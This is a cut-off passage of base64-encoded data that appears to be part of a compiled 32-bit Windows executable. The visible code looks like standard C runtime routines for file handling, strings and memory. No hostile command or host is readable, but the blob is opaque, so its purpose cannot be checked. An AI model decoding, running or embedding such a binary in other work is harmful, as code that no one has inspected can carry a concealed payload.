omF0Pv//8eF3Pv//wEAAACLndT7//+Ltez7//8r3iud3Pv///aF+Pv//wx1F/+1xPv//42F4Pv//1NqIOiE9f//g8QM/7Xc+///i73E+///jYXg+///jY3Q+///6Iv1///2hfj7//8IWXQb9oX4+///BHUSV1NqMI2F4Pv//+hC9f//g8QMg73Y+///AHV1hfZ+cYu98Pv//4m15Pv///+N5Pv//42FtPv//1CLhbT7////sKwAAACNhZz7//9XUOhV8///g8QQiYWQ+///hcB+Kf+1nPv//4uFxPv//4214Pv//+it9P//A72Q+///g73k+///AFl/puscg43g+////+sTi43w+///Vo2F4Pv//+jW9P//WYO94Pv//wB8IPaF+Pv//wR0F/+1xPv//42F4Pv//1NqIOiI9P//g8QMg72o+///AHQT/7Wo+///6MDN//+Dpaj7//8AWYu9oPv//4ud6Pv//w+3BzP2iYXk+///ZjvGdAeLyOmh9f//ObXM+///dA2Dvcz7//8HD4VQ9f//gL3A+///AHQKi4W8+///g2Bw/YuF4Pv//4tN/F9eM81b6CWW///Jw4v/b3pAAGd4QACZeEAA9HhAAEB5QABMeUAAknlAAJF6QACL/1WL7GaLRQhmg/gwcwe4/////13DZoP4OnMID7fAg+gwXcO5EP8AAIvRZjvCD4OUAQAAuWAGAACL0WY7wg+CkgEAAIPCCmY7wnMHD7fAK8Fdw7nwBgAAi9FmO8IPgnMBAACDwgpmO8Jy4blmCQAAi9FmO8IPglsBAACDwgpmO8JyybnmCQAAi9FmO8IPgkMBAACDwgpmO8JysblmCgAAi9FmO8IPgisBAACDwgpmO8JymbnmCgAAi9FmO8IPghMBAACDwgpmO8JygblmCwAAi9FmO8IPgvsAAACDwgpmO8IPgmX///+5ZgwAAIvRZjvCD4LfAAAAg8IKZjvCD4JJ////ueYMAACL0WY7wg+CwwAAAIPCCmY7wg+CLf///7lmDQAAi9FmO8IPgqcAAACDwgpmO8IPghH///+5UA4AAIvRZjvCD4KLAAAAg8IKZjvCD4L1/v//udAOAACL0WY7wnJzg8IKZjvCD4Ld/v//g8FQi9FmO8JyXboqDwAAZjvCD4LF/v//uUAQAACL0WY7wnJDg8IKZjvCD4Kt/v//ueAXAACL0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